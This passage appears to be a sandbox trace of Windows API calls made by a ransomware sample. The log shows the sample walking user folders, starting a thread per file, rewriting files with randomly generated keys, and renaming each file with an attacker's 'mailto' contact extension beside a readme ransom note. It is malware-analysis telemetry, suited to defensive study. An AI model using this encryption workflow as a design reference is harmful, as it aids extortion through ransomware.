Size=0x70) returned 0x2f88c58 [0176.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d88 [0176.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d88) returned 1 [0176.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe88c8 [0176.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94db0 [0176.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0176.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c58) returned 1 [0176.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0176.595] WriteFile (in: hFile=0x6f8, lpBuffer=0x2fe88c8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26a7f92c, lpOverlapped=0x0 | out: lpBuffer=0x2fe88c8*, lpNumberOfBytesWritten=0x26a7f92c*=0x4096, lpOverlapped=0x0) returned 1 [0176.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe88c8) returned 1 [0176.596] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x14f0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94978*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26a7f964, lpOverlapped=0x0 | out: lpBuffer=0x2f94978*, lpNumberOfBytesWritten=0x26a7f964*=0x20, lpOverlapped=0x0) returned 1 [0176.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x2f94e00*, lpNumberOfBytesWritten=0x26a7f978*=0x8, lpOverlapped=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x26a7f990*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x26a7f990*, lpNumberOfBytesWritten=0x26a7f978*=0x4, lpOverlapped=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26a7f978*=0x4, lpOverlapped=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26a7f978*=0x6c, lpOverlapped=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26a7f978*=0x20, lpOverlapped=0x0) returned 1 [0176.596] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26a7f978*=0x4, lpOverlapped=0x0) returned 1 [0176.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.597] CloseHandle (hObject=0x6f8) returned 1 [0176.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc40d0 [0176.597] wcscpy (in: _Dest=0x2fc40d0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" [0176.597] wcscat (in: _Dest=0x2fc40d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.597] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.598] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.598] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc40d0) returned 1 [0176.598] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2feff68 [0176.598] wcscpy (in: _Dest=0x2feff68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0176.598] wcscat (in: _Dest=0x2feff68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0176.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0x20 [0176.598] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feff68) returned 1 [0176.598] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e1e0) returned 1 [0176.598] RtlExitUserThread (Status=0x1) Thread: id = 2551 os_tid = 0x11c4 [0176.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x30577c0 [0176.600] wcscpy (in: _Dest=0x30577c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0176.600] wcscat (in: _Dest=0x30577c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0176.600] wcscat (in: _Dest=0x30577c0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*" [0176.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fedf98 [0176.600] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*", lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x86c8cde5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0176.602] wcscmp (_String1=".", _String2=".") returned 0 [0176.602] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x86c8cde5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.602] wcscmp (_String1="..", _String2=".") returned 1 [0176.602] wcscmp (_String1="..", _String2="..") returned 0 [0176.602] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c40943, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86c40943, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c66abb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.602] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.602] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.602] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x894e91be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x894e91be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELJOJE-1o", cAlternateFileName="ELJOJE~1")) returned 1 [0176.602] wcscmp (_String1="ELJOJE-1o", _String2=".") returned 1 [0176.602] wcscmp (_String1="ELJOJE-1o", _String2="..") returned 1 [0176.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2fefb68 [0176.602] wcscpy (in: _Dest=0x2fefb68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0176.603] wcscat (in: _Dest=0x2fefb68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0176.603] wcscat (in: _Dest=0x2fefb68, _Source="ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0176.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fefb68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0176.612] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3a4680, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x50b2e5d0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x86c40943, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16b57, dwReserved0=0x0, dwReserved1=0x0, cFileName="o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="O0O-EC~1.D0E")) returned 1 [0176.612] wcscmp (_String1="o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.612] wcscmp (_String1="o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f974b8 [0176.612] wcscpy (in: _Dest=0x2f974b8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0176.612] wcscat (in: _Dest=0x2f974b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0176.612] wcscat (in: _Dest=0x2f974b8, _Source="o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" [0176.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f974b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0176.613] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78462090, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0x46141250, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x185c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YJFFA8~1.D0E")) returned 1 [0176.613] wcscmp (_String1="YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.613] wcscmp (_String1="YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7090 [0176.613] wcscpy (in: _Dest=0x2fa7090, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0176.613] wcscat (in: _Dest=0x2fa7090, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0176.613] wcscat (in: _Dest=0x2fa7090, _Source="YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" [0176.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa7090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0176.613] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fedf98 | out: lpFindFileData=0x2fedf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78462090, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0x46141250, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x185c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YJFFA8~1.D0E")) returned 0 [0176.614] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0176.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedf98) returned 1 [0176.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30577c0) returned 1 [0176.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87958) returned 1 [0176.614] RtlExitUserThread (Status=0x0) Thread: id = 2552 os_tid = 0x11d0 [0176.842] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.843] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.844] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26b7fdd0 | out: lpFileSize=0x26b7fdd0*=22178) returned 1 [0176.844] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x569e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.844] ReadFile (in: hFile=0x81c, lpBuffer=0x26b7fda4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x26b7fda4*, lpNumberOfBytesRead=0x26b7fda0*=0x4, lpOverlapped=0x0) returned 1 [0176.845] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.846] NtQuerySystemTime (in: CurrentTime=0x26b7fd7c | out: CurrentTime=0x26b7fd7c*=132121213341581066) returned 0x0 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x1beb2473 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x99954515 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x68d75214 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x2e36eece [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xe0675244 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x7f5a841d [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x44e72827 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xd700838a [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xc2f6ac93 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x2d712e37 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x44589d8 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x13542afd [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xb1b9f81c [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xbe55eb8a [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x9cc923b6 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x5379f3d7 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x6a0d5340 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x748dda33 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x2904fbca [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x11c1d14a [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xb33c1257 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x50a6e624 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x105cc916 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xcbc626fa [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xac9d3bad [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xf8d2208e [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x1e6e1d61 [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x4e9e83cc [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x9f43c55c [0176.846] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xa5070cde [0176.847] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0xb52215fc [0176.847] RtlRandom (in: Seed=0x26b7fd88 | out: Seed=0x26b7fd88) returned 0x8eb44196 [0176.859] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.859] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26b7fd54, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26b7fd54*=0x4096, lpOverlapped=0x0) returned 1 [0176.860] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0176.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88898 [0176.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94dd8 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94dd8) returned 1 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88898) returned 1 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0176.861] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26b7fd54, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26b7fd54*=0x4096, lpOverlapped=0x0) returned 1 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.861] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x56a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.861] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26b7fd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26b7fd8c*=0x20, lpOverlapped=0x0) returned 1 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0176.861] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94db0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f94db0*, lpNumberOfBytesWritten=0x26b7fda0*=0x8, lpOverlapped=0x0) returned 1 [0176.862] WriteFile (in: hFile=0x81c, lpBuffer=0x26b7fdb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x26b7fdb8*, lpNumberOfBytesWritten=0x26b7fda0*=0x4, lpOverlapped=0x0) returned 1 [0176.862] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26b7fda0*=0x4, lpOverlapped=0x0) returned 1 [0176.862] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: 